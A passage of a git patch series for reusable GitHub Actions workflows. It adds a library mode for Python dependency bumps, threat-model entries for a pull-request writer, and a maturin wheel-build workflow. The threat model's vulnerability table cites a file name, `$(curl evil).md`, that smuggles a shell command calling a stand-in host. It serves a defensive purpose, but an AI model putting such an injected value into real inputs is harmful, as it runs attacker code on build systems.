re.sub(r"\$\{\{\s*(.+?)\s*\}\}", lambda match: expand[match.group(1)], str(value)) - for variable, value in (step.get("env") or {}).items() + for variable, value in (workflow_env(workflow) | step.get("env", {})).items() } environment = {name: os.environ[name] for name in ("HOME", "LANG", "PATH") if name in os.environ} environment |= { @@ -555,5 +575,6 @@ def read_outputs(path: Path) -> dict[str, str]: "read_outputs", "run", "run_workflow_step", + "workflow_env", "workflow_step", ] From 685134d23905139bacd33146371b096455cb0957 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:58:14 -0800 Subject: [PATCH 12/38] =?UTF-8?q?=E2=9C=A8=20feat(update-python-dependenci?= =?UTF-8?q?es):=20library=20kind?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit kind library keeps the groups in fresh-groups (default "project test") at their newest release by passing --exclude-newer-group GROUP=false, and cools every other group. kind app passes no group. Other groups, the build backend, and hooks stay cooled. The bump-deps-index install takes the new exclude-newer and exclude-newer-package inputs, seven days by default, instead of a bootstrap cutoff hard-coded in the workflow. The bump-deps-index requirement is one BUMP_DEPS_INDEX constant in the workflow env, set to the release that adds the group and package cutoffs. --- .../workflows/update-python-dependencies.yaml | 64 +++++++-- README.md | 23 ++- .../+update-python-dependencies.feature.md | 4 +- .../update_python_dependencies/test_update.py | 135 ++++++++++++------ 4 files changed, 159 insertions(+), 67 deletions(-) diff --git a/.github/workflows/update-python-dependencies.yaml b/.github/workflows/update-python-dependencies.yaml index e7b3967..3ad5836 100644 --- a/.github/workflows/update-python-dependencies.yaml +++ b/.github/workflows/update-python-dependencies.yaml @@ -15,9 +15,21 @@ on: type: string default: "" kind: - description: app cools every bump; library is reserved until bump-deps-index scopes cutoffs by section + description: app cools every bump; library keeps the fresh-groups dependencies fresh and cools the rest type: string default: app + fresh-groups: + description: Space-separated dependency groups that kind library keeps fresh; ignored for app + type: string + default: project test + exclude-newer: + description: Upload cutoff for the bump-deps-index install from PyPI + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" allowed-paths: description: Newline-separated globs for files a repository hook regenerates, besides pylock.toml and bumped files type: string @@ -42,6 +54,9 @@ on: RELEASE_APP_PRIVATE_KEY: description: Repo-only release App key required: true +env: + # The bump-deps-index release with --exclude-newer-group and --exclude-newer-package. + BUMP_DEPS_INDEX: bump-deps-index>=1.19 permissions: {} jobs: generate: @@ -77,15 +92,12 @@ jobs: COOLDOWN: ${{ inputs.cooldown }} EXPEDITE: ${{ inputs.expedite }} FILES: ${{ inputs.files }} + FRESH_GROUPS: ${{ inputs.fresh-groups }} KIND: ${{ inputs.kind }} run: | set -euo pipefail case "$KIND" in - app) ;; - library) - echo "::error::kind library needs bump-deps-index cutoffs per dependency section, which it does not have; use kind app" >&2 - exit 1 - ;; + app | library) ;; *) echo "::error::kind must be app or library, not $KIND" >&2 exit 1 @@ -102,7 +114,6 @@ jobs: cutoff=$(date --utc --date="$COOLDOWN ago" '+%Y-%m-%dT%H:%M:%SZ') echo "Bump cooldown: $COOLDOWN, releases uploaded before $cutoff" fi - tool_cutoff=$(date --utc --date='7 days ago' '+%Y-%m-%dT%H:%M:%SZ') : >"$RUNNER_TEMP/expedite" names=() while IFS= read -r line; do @@ -119,6 +130,27 @@ jobs: if ((${#names[@]})); then echo "Expedited past the cooldown for this run: ${names[*]}" fi + : >"$RUNNER_TEMP/fresh-groups" + fresh=() + while IFS= read -r line; do + read -ra words <<<"$line" + fresh+=("${words[@]}") + done <<<"$FRESH_GROUPS" + for group in "${fresh[@]}"; do + if [[ ! "$group" =~ ^[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?$ ]]; then + echo "::error::fresh-groups entry '$group' is not a dependency group name" >&2 + exit 1 + fi + done + if [[ "$KIND" == library ]]; then + if ((${#fresh[@]})); then + printf '%s\n' "${fresh[@]}" >>"$RUNNER_TEMP/fresh-groups" + echo "Kept fresh past the cooldown (kind library): ${fresh[*]}; other groups stay cooled" + else + echo "::error::kind library needs at least one fresh-groups entry" >&2 + exit 1 + fi + fi : >"$RUNNER_TEMP/file-groups" bumped=() while IFS= read -r group; do @@ -140,7 +172,6 @@ jobs: exit 1 fi printf 'cutoff=%s\n' "$cutoff" >>"$GITHUB_OUTPUT" - printf 'tool-cutoff=%s\n' "$tool_cutoff" >>"$GITHUB_OUTPUT" { echo 'allowed-paths<=1.18.0') + bump=(uvx --exclude-newer "$EXCLUDE_NEWER") + while IFS= read -r line; do + if [[ -n "$line" ]]; then + bump+=(--exclude-newer-package "$line") + fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + bump+=("$BUMP_DEPS_INDEX") args=() if [[ "$CUTOFF" == none ]]; then args+=(--no-exclude-newer) @@ -166,6 +203,11 @@ jobs: args+=(--exclude-newer-package "$name=false") fi done <"$RUNNER_TEMP/expedite" + while IFS= read -r group; do + if [[ -n "$group" ]]; then + args+=(--exclude-newer-group "$group=false") + fi + done <"$RUNNER_TEMP/fresh-groups" while IFS= read -r group; do read -ra files <<<"$group" echo "Bumping ${files[*]}" diff --git a/README.md b/README.md index 90be6f9..65a3c7b 100644 --- a/README.md +++ b/README.md @@ -1079,8 +1079,9 @@ request into `base`. An open pull request with the same branch is updated; two o ## Update Python dependencies `update-python-dependencies.yaml` bumps the direct requirements in the files you name, regenerates `pylock.toml`, runs -the repository's hooks, and opens a dependency pull request. It is the Python dependency workflow for applications: -every bumped floor waits out the cooldown, and so does every locked release. +the repository's hooks, and opens a dependency pull request. With `kind: app` (default) every bumped floor waits out the +cooldown, and so does every locked release. With `kind: library`, the groups in `fresh-groups` take their newest release +at once, and every other group waits. ```yaml name: Update Python dependencies @@ -1115,12 +1116,20 @@ jobs: - `files` **(required)**: Newline-separated groups. Each line is one `bump-deps-index --file` run over its space-separated paths, so a file that needs a different cutoff belongs in its own run. Paths are plain relative paths. - `cooldown`: Upload age a bumped release needs; `7 days` by default, `N days` only. `0 days` turns the bump cooldown - off for the run. The bootstrap of `bump-deps-index` itself always waits seven days. + off for the run. - `expedite`: Whitespace-separated package names. Each one takes its newest release for this run, past the cooldown. It changes only the bump. The lock still follows the cutoff in the caller's `[tool.nab]` table, so a locked package needs a committed `[tool.nab.packages.NAME]` exception, which the next run keeps. -- `kind`: `app` (default) cools every bump. `library` is refused: it would keep direct and test floors fresh while still - cooling tooling, and `bump-deps-index` cannot yet apply a cutoff to one dependency section. +- `kind`: `app` (default) cools every bump. `library` keeps the `fresh-groups` dependencies fresh, passing + `--exclude-newer-group GROUP=false` for each, and cools the rest. Its tooling groups, the build backend, and the hooks + stay cooled. +- `fresh-groups`: Space-separated dependency groups for `kind: library`, default `project test`. `project` is the + `[project]` runtime dependencies and extras. The group names are validated, and the list is ignored for `app`. +- `exclude-newer` and `exclude-newer-package`: The upload cutoff for the `bump-deps-index` install from PyPI, `7 days` + by default, and newline-separated `name=date` overrides for it. The tool itself is tooling, so the default keeps it + cooled. A dated package override is the gw-level exception for a tool release that is younger than the cutoff. +- The `bump-deps-index` requirement is the `BUMP_DEPS_INDEX` constant in the workflow `env`. It must name a release with + `--exclude-newer-group` and `--exclude-newer-package`. - `allowed-paths`: Newline-separated glob patterns for files that a repository hook rewrites, such as a generated README. `pylock.toml` and every path in `files` are always allowed. - `branch`, `title`, `body`, `labels`: Passed to `open-maintenance-pr`. Defaults: `update-python-dependencies`, @@ -1129,8 +1138,8 @@ jobs: The Action installs the locked release tools from the caller's `release-prepare` group, so the caller's `pylock.toml` needs that group. It runs `refresh-release-lock` to upgrade the lock with Nab, then `cooled-prek` twice: the first run may rewrite files, and the second confirms the result is stable. Put a repository's own formatting, README generation, -and other steps in its prek hooks. Besides the locked release tools, it installs Nab and `bump-deps-index`, both from -PyPI under the cooldown. +and other steps in its prek hooks. Besides the locked release tools, it installs Nab from PyPI under the seven-day +cutoff and `bump-deps-index` under `exclude-newer`. **Output:** No named output. **Remote effect:** Through `open-maintenance-pr`, one dependency pull request into `main`, or none when nothing changed. diff --git a/changelog.d/+update-python-dependencies.feature.md b/changelog.d/+update-python-dependencies.feature.md index 334fe91..be037ec 100644 --- a/changelog.d/+update-python-dependencies.feature.md +++ b/changelog.d/+update-python-dependencies.feature.md @@ -1,2 +1,2 @@ -Python dependency floors bump under a seven-day cooldown that a run can expedite per package, the lock is regenerated, -and one dependency pull request opens. +Python dependency floors bump under a seven-day cooldown that a run can expedite per package. With `kind: library`, the +project and test groups bump without it. The lock is regenerated, and one dependency pull request opens. diff --git a/tests/update_python_dependencies/test_update.py b/tests/update_python_dependencies/test_update.py index 201f92c..80163ed 100644 --- a/tests/update_python_dependencies/test_update.py +++ b/tests/update_python_dependencies/test_update.py @@ -8,7 +8,7 @@ import pytest import yaml -from conftest import WORKFLOWS, run, run_workflow_step +from conftest import WORKFLOWS, run, run_workflow_step, workflow_env if TYPE_CHECKING: import subprocess @@ -18,25 +18,31 @@ BUMP = "๐Ÿ“ฆ Bump dependency floors" PATCH = "๐Ÿ“ Write maintenance patch" TIMESTAMP = r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z" - - -def inputs_values(tmp_path: Path, **extra: str) -> dict[str, str]: - return { - "inputs.allowed-paths": "docs/*.md", - "inputs.cooldown": "7 days", - "inputs.expedite": "", - "inputs.files": "pyproject.toml tox.toml", - "inputs.kind": "app", - "runner.temp": str(tmp_path), - } | extra +DEFAULTS = { + "inputs.allowed-paths": "docs/*.md", + "inputs.cooldown": "7 days", + "inputs.exclude-newer": "7 days", + "inputs.exclude-newer-package": "", + "inputs.expedite": "", + "inputs.files": "pyproject.toml tox.toml", + "inputs.fresh-groups": "project test", + "inputs.kind": "app", +} def validate( repository: Path, tmp_path: Path, **inputs: str ) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: - values = inputs_values(tmp_path, **{f"inputs.{key}": value for key, value in inputs.items()}) - env = {"ALLOWED_EXTRA": values["inputs.allowed-paths"]} - return run_workflow_step(WORKFLOW, "generate", INPUTS, cwd=repository, runner_temp=tmp_path, values=values, env=env) + values = DEFAULTS | {f"inputs.{key.replace('_', '-')}": value for key, value in inputs.items()} + return run_workflow_step( + WORKFLOW, + "generate", + INPUTS, + cwd=repository, + runner_temp=tmp_path, + values=values, + env={"ALLOWED_EXTRA": values["inputs.allowed-paths"]}, + ) @pytest.fixture @@ -57,30 +63,26 @@ def test_defaults_build_cutoffs_groups_and_allowed_paths(repository: Path, tmp_p result, outputs = validate(repository, tmp_path, expedite="release-creator\nnab", files="pyproject.toml tox.toml\n") assert result.returncode == 0, result.stderr assert re.fullmatch(TIMESTAMP, outputs["cutoff"]) - assert re.fullmatch(TIMESTAMP, outputs["tool-cutoff"]) assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml", "docs/*.md"] assert (tmp_path / "expedite").read_text() == "release-creator\nnab\n" assert (tmp_path / "file-groups").read_text() == "pyproject.toml tox.toml\n" + assert (tmp_path / "fresh-groups").read_text() == "" + + +def test_library_keeps_fresh_groups_and_app_keeps_none(repository: Path, tmp_path: Path) -> None: + result, _ = validate(repository, tmp_path, kind="library", fresh_groups="project\ntest") + assert result.returncode == 0, result.stderr + assert (tmp_path / "fresh-groups").read_text() == "project\ntest\n" def test_zero_days_turns_the_bump_cooldown_off(repository: Path, tmp_path: Path) -> None: result, outputs = validate(repository, tmp_path, cooldown="0 days") assert result.returncode == 0, result.stderr assert outputs["cutoff"] == "none" - assert re.fullmatch(TIMESTAMP, outputs["tool-cutoff"]) def test_empty_extra_paths_add_no_pattern(repository: Path, tmp_path: Path) -> None: - values = inputs_values(tmp_path, **{"inputs.allowed-paths": ""}) - result, outputs = run_workflow_step( - WORKFLOW, - "generate", - INPUTS, - cwd=repository, - runner_temp=tmp_path, - values=values, - env={"ALLOWED_EXTRA": ""}, - ) + result, outputs = validate(repository, tmp_path, **{"allowed-paths": ""}) assert result.returncode == 0, result.stderr assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml"] @@ -88,11 +90,12 @@ def test_empty_extra_paths_add_no_pattern(repository: Path, tmp_path: Path) -> N @pytest.mark.parametrize( ("options", "message"), [ - pytest.param({"kind": "library"}, "kind library needs bump-deps-index cutoffs", id="library"), pytest.param({"kind": "tool"}, "kind must be app or library", id="unknown-kind"), pytest.param({"cooldown": "P7D"}, "cooldown must be N days", id="iso-duration"), pytest.param({"cooldown": "7 weeks"}, "cooldown must be N days", id="weeks"), pytest.param({"expedite": "bad name!"}, "is not a package name", id="expedite-name"), + pytest.param({"kind": "library", "fresh_groups": "bad group!"}, "is not a dependency group", id="group-name"), + pytest.param({"kind": "library", "fresh_groups": ""}, "needs at least one fresh-groups", id="no-groups"), pytest.param({"files": "../pyproject.toml"}, "is not a plain relative path", id="parent-path"), pytest.param({"files": "/etc/pyproject.toml"}, "is not a plain relative path", id="absolute-path"), pytest.param({"files": "a*.toml"}, "is not a plain relative path", id="glob-path"), @@ -106,46 +109,40 @@ def test_rejects_invalid_inputs(repository: Path, tmp_path: Path, options: dict[ def fake_uvx(bin_dir: Path) -> Path: - log = bin_dir / "uvx.log" script = bin_dir / "uvx" script.write_text('#!/usr/bin/env bash\n(IFS=$\'\\t\'; echo "$*") >>"$UVX_LOG"\n') script.chmod(script.stat().st_mode | stat.S_IXUSR) - return log + return bin_dir / "uvx.log" def bump( - repository: Path, tmp_path: Path, cutoff: str, tool_cutoff: str, **inputs: str + repository: Path, tmp_path: Path, outputs: dict[str, str], **inputs: str ) -> tuple[subprocess.CompletedProcess[str], list[str]]: bin_dir = tmp_path / "bin" bin_dir.mkdir(exist_ok=True) log = fake_uvx(bin_dir) - values = {"steps.inputs.outputs.cutoff": cutoff, "steps.inputs.outputs.tool-cutoff": tool_cutoff} + values = DEFAULTS | {"steps.inputs.outputs.cutoff": outputs["cutoff"]} + values |= {f"inputs.{key.replace('_', '-')}": value for key, value in inputs.items()} result, _ = run_workflow_step( WORKFLOW, "generate", BUMP, cwd=repository, runner_temp=tmp_path, - values=values | {f"inputs.{key}": value for key, value in inputs.items()}, + values=values, env={"PATH": f"{bin_dir}{os.pathsep}{os.environ['PATH']}", "UVX_LOG": str(log)}, ) return result, log.read_text().splitlines() if log.exists() else [] -def test_bump_runs_each_group_with_cooled_tool_and_expedite(repository: Path, tmp_path: Path) -> None: +def test_bump_runs_each_group_with_expedite(repository: Path, tmp_path: Path) -> None: result, outputs = validate( repository, tmp_path, expedite="release-creator", files="pyproject.toml tox.toml\ndocs/a.toml" ) assert result.returncode == 0, result.stderr - result, calls = bump(repository, tmp_path, outputs["cutoff"], outputs["tool-cutoff"]) + result, calls = bump(repository, tmp_path, outputs) assert result.returncode == 0, result.stderr - prefix = [ - "--exclude-newer", - outputs["tool-cutoff"], - "bump-deps-index>=1.18.0", - "--exclude-newer", - outputs["cutoff"], - ] + prefix = ["--exclude-newer", "7 days", "bump-deps-index>=1.19", "--exclude-newer", outputs["cutoff"]] assert calls == [ "\t".join( [*prefix, "--exclude-newer-package", "release-creator=false", "--file", "pyproject.toml", "tox.toml"] @@ -154,18 +151,63 @@ def test_bump_runs_each_group_with_cooled_tool_and_expedite(repository: Path, tm ] +def test_tool_install_takes_the_exclude_newer_inputs(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, cooldown="0 days") + assert result.returncode == 0, result.stderr + result, calls = bump( + repository, + tmp_path, + outputs, + exclude_newer="2026-10-01T00:00:00Z", + exclude_newer_package="bump-deps-index=2026-11-01T00:00:00Z", + ) + assert result.returncode == 0, result.stderr + assert calls == [ + "--exclude-newer\t2026-10-01T00:00:00Z\t--exclude-newer-package\tbump-deps-index=2026-11-01T00:00:00Z\tbump-deps-index>=1.19\t--no-exclude-newer\t--file\tpyproject.toml\ttox.toml" + ] + + +def test_library_bump_keeps_fresh_groups_fresh(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, kind="library") + assert result.returncode == 0, result.stderr + result, calls = bump(repository, tmp_path, outputs) + assert result.returncode == 0, result.stderr + assert calls == [ + "\t".join( + [ + "--exclude-newer", + "7 days", + "bump-deps-index>=1.19", + "--exclude-newer", + outputs["cutoff"], + "--exclude-newer-group", + "project=false", + "--exclude-newer-group", + "test=false", + "--file", + "pyproject.toml", + "tox.toml", + ] + ) + ] + + def test_bump_without_cooldown_passes_no_cutoff(repository: Path, tmp_path: Path) -> None: result, outputs = validate(repository, tmp_path, cooldown="0 days") assert result.returncode == 0, result.stderr - result, calls = bump(repository, tmp_path, outputs["cutoff"], outputs["tool-cutoff"]) + result, calls = bump(repository, tmp_path, outputs) assert result.returncode == 0, result.stderr assert calls[0].split("\t")[-4:] == ["--no-exclude-newer", "--file", "pyproject.toml", "tox.toml"] assert len(calls) == 1 +def test_bump_uses_the_workflow_requirement_constant() -> None: + assert workflow_env(WORKFLOW) == {"BUMP_DEPS_INDEX": "bump-deps-index>=1.19"} + + def test_patch_step_reports_no_change(repository: Path, tmp_path: Path) -> None: result, outputs = run_workflow_step( - WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=inputs_values(tmp_path) + WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=DEFAULTS ) assert result.returncode == 0, result.stderr assert outputs == {"changed": "false"} @@ -177,7 +219,7 @@ def test_patch_step_writes_every_change_including_new_files(repository: Path, tm (repository / "docs").mkdir() (repository / "docs/new.md").write_text("New.\n") result, outputs = run_workflow_step( - WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=inputs_values(tmp_path) + WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=DEFAULTS ) assert result.returncode == 0, result.stderr assert outputs == {"changed": "true"} @@ -187,8 +229,7 @@ def test_patch_step_writes_every_change_including_new_files(repository: Path, tm def test_generate_is_read_only_and_hands_off_to_the_writer() -> None: - workflow = yaml.safe_load((WORKFLOWS / WORKFLOW).read_text()) - jobs = workflow["jobs"] + jobs = yaml.safe_load((WORKFLOWS / WORKFLOW).read_text())["jobs"] assert jobs["generate"]["permissions"] == {"contents": "read"} assert jobs["open"]["needs"] == "generate" assert jobs["open"]["if"] == "needs.generate.outputs.changed == 'true'" From 66d2d11f78d4e6c8506d8aeeb2853869e4e02f7b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:58:14 -0800 Subject: [PATCH 13/38] =?UTF-8?q?=F0=9F=93=9D=20docs(threat-model):=20cove?= =?UTF-8?q?r=20the=20maintenance=20writer?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The maintenance writer pushes a branch and opens a pull request from a patch that a read-only job of the caller produced. Record that threat, its control in open-maintenance-pr, and the verdict for a caller whose allowlist admits workflow files. Update the untrusted-input row, which named only the release writer's paths. --- .github/THREAT_MODEL.md | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md index 4ab014d..f1cfd84 100644 --- a/.github/THREAT_MODEL.md +++ b/.github/THREAT_MODEL.md @@ -52,20 +52,21 @@ An attacker who controls any of these already has what github-workflows could gi ## Untrusted inputs -| Input | Comes from | What github-workflows guarantees | -| ----------------------------- | --------------------------- | ----------------------------------------------------------------------------------------------- | -| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | -| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, as regular files, from the patch. | -| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | +| Input | Comes from | What github-workflows guarantees | +| ----------------------------- | --------------------------- | ---------------------------------------------------------------------------------------------------- | +| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | +| Artifacts from read-only jobs | Jobs that ran project code | Each writer accepts only the paths its caller allows, as regular files or deletions, from the patch. | +| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | ## Threats and controls -| STRIDE | Threat | Control | -| ---------------------- | --------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- | -| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | -| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | -| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | -| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | +| STRIDE | Threat | Control | +| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | +| Tampering | A maintenance patch from a job that ran project code changes a path or mode outside the caller's allowlist, or replaces a reviewed maintenance branch. | `open-maintenance-pr` checks the digest a read-only job recorded, then the paths and modes, before minting the App token. Each run force-pushes only its own branch with a lease, and the pull request still needs review. | +| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | +| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | +| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | ## Release chain @@ -74,12 +75,13 @@ Callers pin the full commit SHA of a release. ## Vulnerability or bug -| Report | Verdict | Why | -| ----------------------------------------------------------- | ------------- | -------------------------------- | -| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | -| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | -| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. | -| A tool update waits seven days to land | Expected | The cooldown is deliberate. | +| Report | Verdict | Why | +| ---------------------------------------------------------------------------------- | ------------- | -------------------------------------- | +| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | +| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | +| A maintenance patch whose caller allowlist admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | +| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. | +| A tool update waits seven days to land | Expected | The cooldown is deliberate. | ## Severity From 3cf26f6511f07191bbc1f15b52246f7a316fb966 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:49:39 -0800 Subject: [PATCH 14/38] =?UTF-8?q?=E2=9C=A8=20feat(build):=20add=20maturin?= =?UTF-8?q?=20wheel=20workflow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit build-maturin-wheels.yaml builds a maturin extension for a JSON build matrix. A source job runs an optional pre-build command once, each matrix entry builds in its own job, and an sdist job builds from the hash-checked build group. Artifacts keep the names callers already publish, and no job requests a write token. --- .github/workflows/build-maturin-wheels.yaml | 200 +++++++++++++++++++ README.md | 62 ++++++ changelog.d/+build-maturin-wheels.feature.md | 4 + tests/build_maturin_wheels/test_workflow.py | 123 ++++++++++++ 4 files changed, 389 insertions(+) create mode 100644 .github/workflows/build-maturin-wheels.yaml create mode 100644 changelog.d/+build-maturin-wheels.feature.md create mode 100644 tests/build_maturin_wheels/test_workflow.py diff --git a/.github/workflows/build-maturin-wheels.yaml b/.github/workflows/build-maturin-wheels.yaml new file mode 100644 index 0000000..da5acbd --- /dev/null +++ b/.github/workflows/build-maturin-wheels.yaml @@ -0,0 +1,200 @@ +name: Build maturin wheels +on: + workflow_call: + inputs: + package-name: + description: Distribution name that prefixes the artifact names, such as pyproject-fmt + required: true + type: string + package-path: + description: Directory holding the package's Cargo.toml and build backend, . for the repository root + default: "." + type: string + matrix: + description: JSON array of build entries with os, target, artifact, and optional python, manylinux, and args + required: true + type: string + sdist: + description: Build the sdist and upload it as the sdist artifact + default: true + type: boolean + release-build: + description: Build a release without sccache; any tag ref already does + default: false + type: boolean + pre-build-command: + description: Shell command run once before the wheels, in the repository root, such as a version bump + default: "" + type: string + post-build-command: + description: Shell command run in each wheel job after maturin, with the wheels in dist, such as vendoring + default: "" + type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + default: 7 days + type: string + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + default: "" + type: string +permissions: {} +jobs: + source: + name: ๐Ÿท๏ธ Prepare source + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.source.outputs.artifact-id }} + maturin-version: ${{ steps.maturin.outputs.version }} + release: ${{ inputs.release-build || startsWith(github.ref, 'refs/tags/') }} + source-date-epoch: ${{ steps.source-date-epoch.outputs.value }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: ๐Ÿ“ฆ Install locked release build tools + uses: $/install-locked-tools + with: + groups: release-build + venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: โš™๏ธ Read locked maturin version + id: maturin + shell: bash + run: | + set -euo pipefail + version=$("$RUNNER_TEMP/release-tools/bin/maturin" --version) + printf 'version=v%s\n' "${version#maturin }" >>"$GITHUB_OUTPUT" + - name: โš™๏ธ Read source timestamp + id: source-date-epoch + shell: bash + run: echo "value=$(git log -1 --format=%ct)" >>"$GITHUB_OUTPUT" + - name: ๐Ÿท๏ธ Run pre-build command + if: ${{ inputs.pre-build-command != '' }} + shell: bash + env: + PRE_BUILD_COMMAND: ${{ inputs.pre-build-command }} + run: bash -c "$PRE_BUILD_COMMAND" + - name: ๐Ÿ“ค Upload source + id: source + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ${{ inputs.package-name }}-source + path: | + . + !.git + compression-level: 9 + retention-days: 1 + if-no-files-found: error + build: + name: ๐Ÿ—๏ธ ${{ matrix.artifact }} + needs: [source] + runs-on: ${{ matrix.os }} + permissions: + contents: read + env: + SOURCE_DATE_EPOCH: ${{ needs.source.outputs.source-date-epoch }} + strategy: + fail-fast: false + matrix: + include: ${{ fromJSON(inputs.matrix) }} + steps: + - name: ๐Ÿ“ฉ Download source + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.source.outputs.artifact-id }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + env: + UV_VENV_SEED: "true" + with: + version: latest-known + python-version: "3.15" + enable-cache: false + activate-environment: true + - name: ๐Ÿ—๏ธ Build wheels + uses: PyO3/maturin-action@e83996d129638aa358a18fbd1dfb82f0b0fb5d3b # v1.51.0 + with: + maturin-version: ${{ needs.source.outputs.maturin-version }} + target: ${{ matrix.target }} + args: >- + -m ${{ inputs.package-path }}/Cargo.toml --locked --release --out dist --target-dir target --interpreter ${{ matrix.python || '3.15' }} ${{ matrix.args }} + manylinux: ${{ matrix.manylinux || 'auto' }} + docker-options: --env SOURCE_DATE_EPOCH + sccache: ${{ needs.source.outputs.release != 'true' }} + - name: ๐Ÿ—๏ธ Run post-build command + if: ${{ inputs.post-build-command != '' }} + shell: bash + env: + POST_BUILD_COMMAND: ${{ inputs.post-build-command }} + run: bash -c "$POST_BUILD_COMMAND" + - name: ๐Ÿ“ค Upload wheels + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ${{ inputs.package-name }}-wheels-${{ matrix.artifact }} + path: dist + if-no-files-found: error + sdist: + name: ๐Ÿ—๏ธ sdist + if: ${{ inputs.sdist }} + needs: [source] + runs-on: ubuntu-26.04 + env: + SOURCE_DATE_EPOCH: ${{ needs.source.outputs.source-date-epoch }} + permissions: + contents: read + steps: + - name: ๐Ÿ“ฉ Download source + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.source.outputs.artifact-id }} + - name: ๐Ÿ Install uv + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: ๐Ÿ“ฆ Export locked build constraints + id: constraints + uses: $/export-build-constraints + with: + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: ๐Ÿ—๏ธ Build sdist + shell: bash + env: + BUILD_CONSTRAINTS: ${{ steps.constraints.outputs.path }} + PACKAGE_PATH: ${{ inputs.package-path }} + run: | + set -euo pipefail + uv build --sdist --out-dir dist --build-constraints "$BUILD_CONSTRAINTS" --require-build-hashes "$PACKAGE_PATH" + - name: ๐Ÿ“ค Upload sdist + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ${{ inputs.package-name }}-wheels-sdist + path: dist + if-no-files-found: error + gate: + name: ๐Ÿšฆ Build distributions pass + if: ${{ always() }} + needs: [source, build, sdist] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - name: 